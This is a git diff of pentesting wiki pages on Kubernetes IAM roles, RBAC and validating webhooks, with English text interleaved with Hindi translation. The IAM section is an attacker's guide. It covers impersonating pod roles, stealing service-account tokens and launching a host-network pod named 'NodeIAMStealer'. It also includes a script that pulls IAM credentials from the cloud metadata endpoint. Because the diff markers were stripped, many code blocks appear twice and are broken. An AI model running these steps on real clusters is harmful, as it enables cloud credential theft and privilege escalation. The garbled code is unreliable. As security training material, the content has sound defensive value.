### Kiam & Kube2IAM (Pods के लिए IAM भूमिका) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.
|
||||
|
||||
First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
|
||||
Pods को IAM भूमिकाएँ देने का एक (पुराना) तरीका है [**Kiam**](https://github.com/uswitch/kiam) या [**Kube2IAM**](https://github.com/jtblin/kube2iam) **सर्वर** का उपयोग करना। मूल रूप से, आपको अपने क्लस्टर में एक **daemonset** चलाने की आवश्यकता होगी जिसमें एक **प्रिविलेज्ड IAM भूमिका** हो। यह daemonset उन pods को IAM भूमिकाओं तक पहुँच प्रदान करेगा जिन्हें इसकी आवश्यकता है।
|
||||
|
||||
सबसे पहले, आपको **यह कॉन्फ़िगर करने की आवश्यकता है कि कौन सी भूमिकाएँ नामस्थान के अंदर एक्सेस की जा सकती हैं**, और आप यह नामस्थान ऑब्जेक्ट के अंदर एक एनोटेशन के साथ करते हैं:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: iam-example
|
||||
annotations:
|
||||
iam.amazonaws.com/permitted: ".*"
|
||||
name: iam-example
|
||||
annotations:
|
||||
iam.amazonaws.com/permitted: ".*"
|
||||
```
|
||||
|
||||
```yaml:Kube2iam
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
annotations:
|
||||
iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
annotations:
|
||||
iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
|
||||
Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
|
||||
|
||||
एक बार जब नामस्थान IAM भूमिकाओं के साथ कॉन्फ़िगर हो जाता है, तो आप **प्रत्येक पॉड परिभाषा में आप जो भूमिका चाहते हैं उसे कुछ इस तरह इंगित कर सकते हैं**:
|
||||
```yaml:Kiam & Kube2iam
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: foo
|
||||
namespace: external-id-example
|
||||
annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
name: foo
|
||||
namespace: external-id-example
|
||||
annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
|
||||
> एक हमलावर के रूप में, यदि आप **इन एनोटेशन** को पॉड्स या नेमस्पेस में या एक kiam/kube2iam सर्वर चलाते हुए (संभवतः kube-system में) पाते हैं, तो आप **हर उस र**ोल का **नकली रूप** धारण कर सकते हैं जो पहले से **पॉड्स द्वारा उपयोग किया जा रहा है** और अधिक (यदि आपके पास AWS खाते तक पहुंच है तो भूमिकाओं की गणना करें)।
|
||||
|
||||
#### Create Pod with IAM Role
|
||||
#### IAM भूमिका के साथ पॉड बनाएं
|
||||
|
||||
> [!NOTE]
|
||||
> The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
|
||||
|
||||
> IAM भूमिका को इंगित करना चाहिए कि वह उसी AWS खाते में हो जैसे कि kiam/kube2iam भूमिका और वह भूमिका इसे एक्सेस करने में सक्षम होनी चाहिए।
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
annotations:
|
||||
iam.amazonaws.com/role: transaction-metadata
|
||||
name: alpine
|
||||
namespace: eevee
|
||||
annotations:
|
||||
iam.amazonaws.com/role: transaction-metadata
|
||||
name: alpine
|
||||
namespace: eevee
|
||||
spec:
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
```
|
||||
|
||||
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
This is the **recommended way by AWS**.
|
||||
|
||||
1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Then you create an IAM role with the permissions the SA will require.
|
||||
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
|
||||
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
यह **AWS द्वारा अनुशंसित तरीका** है।
|
||||
|
||||
1. सबसे पहले आपको [क्लस्टर के लिए एक OIDC प्रदाता बनाना होगा](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)।
|
||||
2. फिर आप एक IAM भूमिका बनाते हैं जिसमें SA को आवश्यक अनुमतियाँ होती हैं।
|
||||
3. एक [विश्वास संबंध बनाएं IAM भूमिका और SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) नाम (या उन namespaces को जो भूमिका को namespace के सभी SAs तक पहुँच प्रदान करते हैं)। _विश्वास संबंध मुख्य रूप से OIDC प्रदाता का नाम, namespace का नाम और SA का नाम जांचेगा_।
|
||||
4. अंत में, **एक SA बनाएं जिसमें भूमिका के ARN को इंगित करने वाला एक एनोटेशन हो**, और उस SA के साथ चलने वाले पॉड्स को **भूमिका के टोकन तक पहुँच** होगी। **टोकन** **एक फ़ाइल के अंदर लिखा गया है** और पथ **`AWS_WEB_IDENTITY_TOKEN_FILE`** में निर्दिष्ट है (डिफ़ॉल्ट: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
```bash
|
||||
# Create a service account with a role
|
||||
cat >my-service-account.yaml <<EOF
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: my-service-account
|
||||
namespace: default
|
||||
annotations:
|
||||
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
|
||||
name: my-service-account
|
||||
namespace: default
|
||||
annotations:
|
||||
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
|
||||
EOF
|
||||
kubectl apply -f my-service-account.yaml
|
||||
|
||||
# Add a role to an existent service account
|
||||
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
|
||||
```
|
||||
|
||||
To **get aws using the token** from `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` run:
|
||||
|
||||
To **get aws using the token** from `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` run:
|
||||
**टोकन का उपयोग करके aws प्राप्त करने के लिए** `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` से चलाएँ:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
|
||||
> एक हमलावर के रूप में, यदि आप एक K8s क्लस्टर को सूचीबद्ध कर सकते हैं, तो **AWS** में **उन्नति** के लिए उस **एनोटेशन** के साथ **सेवा खातों** की जांच करें। ऐसा करने के लिए, बस एक **IAM** **विशिष्ट सेवा खाते** का उपयोग करके **pod** को **exec/create** करें और टोकन चुराएं।
|
||||
>
|
||||
> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**
|
||||
> इसके अलावा, यदि आप एक pod के अंदर हैं, तो **AWS_ROLE_ARN** और **AWS_WEB_IDENTITY_TOKEN** जैसे env वेरिएबल्स की जांच करें।
|
||||
|
||||
> [!CAUTION]
|
||||
> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
|
||||
> कभी-कभी एक भूमिका की **Turst Policy** **खराब तरीके से कॉन्फ़िगर** की जा सकती है और अपेक्षित सेवा खाते को AssumeRole एक्सेस देने के बजाय, यह **सभी सेवा खातों** को देती है। इसलिए, यदि आप एक नियंत्रित सेवा खाते पर एक एनोटेशन लिखने में सक्षम हैं, तो आप भूमिका तक पहुंच सकते हैं।
|
||||
>
|
||||
> Check the **following page for more information**:
|
||||
> अधिक जानकारी के लिए **निम्नलिखित पृष्ठ** की जांच करें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Find Pods a SAs with IAM Roles in the Cluster
|
||||
|
||||
This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
|
||||
### क्लस्टर में IAM भूमिकाओं के साथ Pods और SAs खोजें
|
||||
|
||||
यह एक स्क्रिप्ट है जो आसानी से **सभी pods और sas** परिभाषाओं को **देखने** के लिए **दोहराने** के लिए है कि **एनोटेशन**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
echo "Pod: $ns/$pod"
|
||||
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
|
||||
echo ""
|
||||
echo ""
|
||||
done
|
||||
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
echo "SA: $ns/$sa"
|
||||
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
|
||||
echo ""
|
||||
echo ""
|
||||
done
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
echo "Pod: $ns/$pod"
|
||||
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
|
||||
echo ""
|
||||
echo ""
|
||||
done
|
||||
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
echo "SA: $ns/$sa"
|
||||
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
|
||||
echo ""
|
||||
echo ""
|
||||
done
|
||||
done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
|
||||
### Node IAM Role
|
||||
|
||||
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have a new IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
|
||||
|
||||
There is however an important requirement to access the metadata endpoint from the node, you need to be in the node (ssh session?) or at least have the same network:
|
||||
पिछला अनुभाग IAM Roles को pods के साथ चुराने के बारे में था, लेकिन ध्यान दें कि K8s क्लस्टर का एक **Node** **क्लाउड के अंदर एक इंस्टेंस** होने वाला है। इसका मतलब है कि Node के पास **एक नया IAM रोल हो सकता है जिसे आप चुरा सकते हैं** (_ध्यान दें कि आमतौर पर K8s क्लस्टर के सभी नोड्स के पास एक ही IAM रोल होगा, इसलिए प्रत्येक नोड पर जांचने की कोशिश करना शायद इसके लायक नहीं है_)।
|
||||
|
||||
हालांकि, नोड से मेटाडेटा एंडपॉइंट तक पहुंचने के लिए एक महत्वपूर्ण आवश्यकता है, आपको नोड में होना चाहिए (ssh सत्र?) या कम से कम उसी नेटवर्क में होना चाहिए:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### IAM भूमिका टोकन चुराना
|
||||
|
||||
### Steal IAM Role Token
|
||||
|
||||
Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.
|
||||
|
||||
You can use the following script to **steal** your new hard worked **IAM role credentials**:
|
||||
पहले हमनें चर्चा की है कि **Pods को IAM भूमिकाएँ कैसे संलग्न करें** या यहां तक कि **IAM भूमिका चुराने के लिए नोड पर कैसे भागें** जो इंस्टेंस के साथ संलग्न है।
|
||||
|
||||
आप अपने नए मेहनत से कमाए गए **IAM भूमिका क्रेडेंशियल्स** को **चुराने** के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
||||
if [ "$IAM_ROLE_NAME" ]; then
|
||||
echo "IAM Role discovered: $IAM_ROLE_NAME"
|
||||
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
|
||||
echo "Credentials:"
|
||||
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
|
||||
fi
|
||||
echo "IAM Role discovered: $IAM_ROLE_NAME"
|
||||
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
|
||||
echo "Credentials:"
|
||||
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
|
||||
fi
|
||||
fi
|
||||
```
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
|
||||
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
|
||||
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+47
-61
@@ -4,33 +4,31 @@
|
||||
|
||||
## Role-Based Access Control (RBAC)
|
||||
|
||||
Kubernetes has an **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that helps to set utilization permissions to the API server.
|
||||
Kubernetes में एक **अधिकार प्रबंधन मॉड्यूल है जिसे Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) कहा जाता है, जो API सर्वर के लिए उपयोग अनुमति सेट करने में मदद करता है।
|
||||
|
||||
RBAC’s permission model is built from **three individual parts**:
|
||||
RBAC का अनुमति मॉडल **तीन व्यक्तिगत भागों** से बना है:
|
||||
|
||||
1. **Role\ClusterRole –** The actual permission. It contains _**rules**_ that represent a set of permissions. Each rule contains [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) and [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). The verb is the action that will apply on the resource.
|
||||
2. **Subject (User, Group or ServiceAccount) –** The object that will receive the permissions.
|
||||
3. **RoleBinding\ClusterRoleBinding –** The connection between Role\ClusterRole and the subject.
|
||||
1. **Role\ClusterRole –** वास्तविक अनुमति। इसमें _**नियम**_ होते हैं जो अनुमतियों के सेट का प्रतिनिधित्व करते हैं। प्रत्येक नियम में [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) और [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) होते हैं। क्रिया वह क्रिया है जो संसाधन पर लागू होगी।
|
||||
2. **Subject (User, Group या ServiceAccount) –** वह वस्तु जो अनुमतियाँ प्राप्त करेगी।
|
||||
3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole और विषय के बीच का संबंध।
|
||||
|
||||

|
||||
|
||||
The difference between “**Roles**” and “**ClusterRoles**” is just where the role will be applied – a “**Role**” will grant access to only **one** **specific** **namespace**, while a “**ClusterRole**” can be used in **all namespaces** in the cluster. Moreover, **ClusterRoles** can also grant access to:
|
||||
“**Roles**” और “**ClusterRoles**” के बीच का अंतर केवल यह है कि भूमिका कहाँ लागू होगी – एक “**Role**” केवल **एक** **विशिष्ट** **namespace** तक पहुँच प्रदान करेगा, जबकि एक “**ClusterRole**” को क्लस्टर में **सभी namespaces** में उपयोग किया जा सकता है। इसके अलावा, **ClusterRoles** निम्नलिखित तक पहुँच भी प्रदान कर सकते हैं:
|
||||
|
||||
- **cluster-scoped** resources (like nodes).
|
||||
- **non-resource** endpoints (like /healthz).
|
||||
- namespaced resources (like Pods), **across all namespaces**.
|
||||
|
||||
From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**. But to enable RBAC you can use something like:
|
||||
- **cluster-scoped** संसाधन (जैसे nodes)।
|
||||
- **non-resource** endpoints (जैसे /healthz)।
|
||||
- namespaced संसाधन (जैसे Pods), **सभी namespaces** में।
|
||||
|
||||
**Kubernetes** 1.6 से आगे, **RBAC** नीतियाँ **डिफ़ॉल्ट रूप से सक्षम** हैं। लेकिन RBAC को सक्षम करने के लिए आप कुछ इस तरह का उपयोग कर सकते हैं:
|
||||
```
|
||||
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
|
||||
```
|
||||
|
||||
## Templates
|
||||
|
||||
In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role:
|
||||
|
||||
- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
|
||||
- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _यह rbac.authorization.k8s.io या \[\*] जैसे मान हो सकते हैं_.
|
||||
- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true`
|
||||
- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource.
|
||||
|
||||
@@ -49,69 +47,64 @@ In the template of a **Role** or a **ClusterRole** you will need to indicate the
|
||||
Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example:
|
||||
|
||||
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
- `use` verb on `podsecuritypolicies` resources in the `policy` API group.
|
||||
- `use` verb on `podsecuritypolicies` resources in the `policy` API group.
|
||||
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
|
||||
- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
|
||||
- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
|
||||
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
|
||||
- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
|
||||
- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
|
||||
|
||||
> [!WARNING]
|
||||
> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
|
||||
|
||||
### Examples
|
||||
|
||||
```yaml:Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
namespace: defaultGreen
|
||||
name: pod-and-pod-logs-reader
|
||||
namespace: defaultGreen
|
||||
name: pod-and-pod-logs-reader
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["pods", "pods/log"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
- apiGroups: [""]
|
||||
resources: ["pods", "pods/log"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
```
|
||||
|
||||
```yaml:ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
# "namespace" omitted since ClusterRoles are not namespaced
|
||||
name: secret-reader
|
||||
# "namespace" omitted since ClusterRoles are not namespaced
|
||||
name: secret-reader
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "watch", "list"]
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "watch", "list"]
|
||||
```
|
||||
|
||||
For example you can use a **ClusterRole** to allow a particular user to run:
|
||||
|
||||
उदाहरण के लिए, आप एक **ClusterRole** का उपयोग कर सकते हैं ताकि एक विशेष उपयोगकर्ता को चलाने की अनुमति दी जा सके:
|
||||
```
|
||||
kubectl get pods --all-namespaces
|
||||
```
|
||||
### **RoleBinding और ClusterRoleBinding**
|
||||
|
||||
### **RoleBinding and ClusterRoleBinding**
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**.
|
||||
|
||||
[**दस्तावेज़ों से:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) एक **भूमिका बाइंडिंग एक भूमिका में परिभाषित अनुमतियों को एक उपयोगकर्ता या उपयोगकर्ताओं के सेट को प्रदान करती है**। इसमें विषयों (उपयोगकर्ता, समूह, या सेवा खाते) की एक सूची होती है, और दी जा रही भूमिका का संदर्भ होता है। एक **RoleBinding** एक विशिष्ट **namespace** के भीतर अनुमतियाँ प्रदान करता है जबकि एक **ClusterRoleBinding** उस पहुँच को **क्लस्टर-व्यापी** प्रदान करता है।
|
||||
```yaml:RoleBinding
|
||||
piVersion: rbac.authorization.k8s.io/v1
|
||||
# This role binding allows "jane" to read pods in the "default" namespace.
|
||||
# You need to already have a Role named "pod-reader" in that namespace.
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-pods
|
||||
namespace: default
|
||||
name: read-pods
|
||||
namespace: default
|
||||
subjects:
|
||||
# You can specify more than one "subject"
|
||||
- kind: User
|
||||
name: jane # "name" is case sensitive
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
# You can specify more than one "subject"
|
||||
- kind: User
|
||||
name: jane # "name" is case sensitive
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
roleRef:
|
||||
# "roleRef" specifies the binding to a Role / ClusterRole
|
||||
kind: Role #this must be Role or ClusterRole
|
||||
name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
# "roleRef" specifies the binding to a Role / ClusterRole
|
||||
kind: Role #this must be Role or ClusterRole
|
||||
name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
```
|
||||
|
||||
```yaml:ClusterRoleBinding
|
||||
@@ -119,21 +112,19 @@ apiVersion: rbac.authorization.k8s.io/v1
|
||||
# This cluster role binding allows anyone in the "manager" group to read secrets in any namespace.
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: read-secrets-global
|
||||
name: read-secrets-global
|
||||
subjects:
|
||||
- kind: Group
|
||||
name: manager # Name is case sensitive
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
- kind: Group
|
||||
name: manager # Name is case sensitive
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: secret-reader
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: secret-reader
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
```
|
||||
**अनुमतियाँ जोड़ने योग्य हैं** इसलिए यदि आपके पास "सूची" और "हटाएँ" रहस्यों के साथ एक clusterRole है, तो आप इसे "प्राप्त करें" के साथ एक Role के साथ जोड़ सकते हैं। इसलिए सतर्क रहें और हमेशा अपनी भूमिकाओं और अनुमतियों का परीक्षण करें और **यह निर्दिष्ट करें कि क्या अनुमत है, क्योंकि डिफ़ॉल्ट रूप से सब कुछ अस्वीकृत है।**
|
||||
|
||||
**Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.**
|
||||
|
||||
## **Enumerating RBAC**
|
||||
|
||||
## **RBAC की गणना करना**
|
||||
```bash
|
||||
# Get current privileges
|
||||
kubectl auth can-i --list
|
||||
@@ -155,15 +146,10 @@ kubectl describe roles
|
||||
kubectl get rolebindings
|
||||
kubectl describe rolebindings
|
||||
```
|
||||
|
||||
### Abuse Role/ClusterRoles for Privilege Escalation
|
||||
### विशेषाधिकार वृद्धि के लिए भूमिका/क्लस्टरभूमिकाओं का दुरुपयोग
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+47
-59
@@ -1,106 +1,94 @@
|
||||
# Kubernetes ValidatingWebhookConfiguration
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
## परिभाषा
|
||||
|
||||
ValidatingWebhookConfiguration is a Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
|
||||
ValidatingWebhookConfiguration एक Kubernetes संसाधन है जो एक validating webhook को परिभाषित करता है, जो एक सर्वर-साइड घटक है जो आने वाले Kubernetes API अनुरोधों को पूर्व निर्धारित नियमों और बाधाओं के सेट के खिलाफ मान्य करता है।
|
||||
|
||||
## Purpose
|
||||
## उद्देश्य
|
||||
|
||||
The purpose of a ValidatingWebhookConfiguration is to define a validating webhook that will enforce a set of predefined rules and constraints on incoming Kubernetes API requests. The webhook will validate the requests against the rules and constraints defined in the configuration, and will return an error if the request does not conform to the rules.
|
||||
ValidatingWebhookConfiguration का उद्देश्य एक validating webhook को परिभाषित करना है जो आने वाले Kubernetes API अनुरोधों पर पूर्व निर्धारित नियमों और बाधाओं के सेट को लागू करेगा। यह webhook अनुरोधों को कॉन्फ़िगरेशन में परिभाषित नियमों और बाधाओं के खिलाफ मान्य करेगा, और यदि अनुरोध नियमों के अनुसार नहीं है तो एक त्रुटि लौटाएगा।
|
||||
|
||||
**Example**
|
||||
|
||||
Here is an example of a ValidatingWebhookConfiguration:
|
||||
**उदाहरण**
|
||||
|
||||
यहाँ एक ValidatingWebhookConfiguration का उदाहरण है:
|
||||
```yaml
|
||||
apiVersion: admissionregistration.k8s.io/v1
|
||||
kind: ValidatingWebhookConfiguration
|
||||
metadata:
|
||||
name: example-validation-webhook
|
||||
namespace: default
|
||||
name: example-validation-webhook
|
||||
namespace: default
|
||||
webhook:
|
||||
name: example-validation-webhook
|
||||
clientConfig:
|
||||
url: https://example.com/webhook
|
||||
serviceAccountName: example-service-account
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
apiVersions:
|
||||
- "*"
|
||||
operations:
|
||||
- CREATE
|
||||
- UPDATE
|
||||
resources:
|
||||
- pods
|
||||
name: example-validation-webhook
|
||||
clientConfig:
|
||||
url: https://example.com/webhook
|
||||
serviceAccountName: example-service-account
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
apiVersions:
|
||||
- "*"
|
||||
operations:
|
||||
- CREATE
|
||||
- UPDATE
|
||||
resources:
|
||||
- pods
|
||||
```
|
||||
|
||||
The main difference between a ValidatingWebhookConfiguration and policies : 
|
||||
|
||||
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
|
||||
|
||||
- **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
|
||||
- **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services
|
||||
